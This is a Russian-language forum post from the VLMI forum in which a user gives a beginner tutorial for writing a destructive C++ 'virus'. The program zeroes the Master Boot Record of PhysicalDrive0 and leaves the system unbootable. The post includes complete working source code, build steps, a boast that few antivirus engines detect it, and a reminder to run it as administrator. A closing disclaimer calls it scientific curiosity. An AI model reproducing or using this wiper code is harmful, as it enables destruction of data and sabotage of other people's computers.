• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Убийца системы[from lamer]

rafamont

Участник
Сообщения
3
Реакции
2
0 руб.
Здравствуйте,с вами rafamont.
Решил написать статью. Мы будем писать простенький вирус на c++
Будет чистить MBR(сектор диска,который отвечает за загрузку ОС)
Для этого дела нам понадобятся:
  • Visual Studio(Можно и другой компилятор)
  • Руки
  • Извилины в мозге
И так,приступим:
  1. Для начала запускаем Visual Studio(Я использую версию 2017)
  2. Нажимаем "Файл" -> "Создать" -> "Проект" -> C++ -> Пустой проектПосмотреть вложение 29309
  3. Добавляем элемент(Файл с++,.cpp)Посмотреть вложение 29311
  4. Далее пишем следующий код:
    Код:
    #include<iostream>
    #include<Windows.h>
    #include<tchar.h>
    
    using namespace std;
    
    #define MBR_SIZE 512
    
    
    int main() {
        DWORD write;
        char mbrData[MBR_SIZE];
        ZeroMemory(&mbrData, (sizeof mbrData));
    
        HANDLE MasterBootRecord = CreateFile("\\\\.\\PhysicalDrive0" ,GENERIC_ALL, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING ,NULL ,NULL);
    
        if (WriteFile(MasterBootRecord, mbrData, MBR_SIZE, &write, NULL) == TRUE)
        {
            cout << "Master Boot Record is over written!" << endl;
            Sleep(5000);
            ExitProcess(0);
        }
        else
        {
            cout << "Fail";
            Sleep(5000);
            ExitProcess(0);
        }
    
        CloseHandle(MasterBootRecord);
        return EXIT_SUCCESS;
    }
  5. Далее компилируем без запуска shift + ctrl + b
  6. Все почти готово. Теперь заходим в папку проекта(по дефолту - c:\users\rafamont\source\repos\Имя проекта). Открываем папку Debug и видим файл Имя_Проекта.exe
  7. Данный файл и есть наш вирус
Теперь если вы все правильно сделали,то у нас имеется программа,которая чистит загрузчик операционной системы(первый сектор диска).
Если у вас руки с того места,и я не лоханулся когда писал код,то у вас все получится
  • Палит его 2 ноунейма
  • Но,надо запускать от администратора
Надеюсь вам понравилось,ну и как же без этого:
Автор и команда форума не несет ответственности за ваши действия. Все делается ради научного интереса :)
 
Сверху Снизу